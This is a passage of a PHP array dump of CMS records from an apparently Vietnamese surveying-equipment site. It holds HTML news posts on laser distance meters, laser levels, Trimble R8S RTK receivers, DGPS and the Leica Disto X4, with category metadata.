ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68693', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66484', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66301', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68150', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span 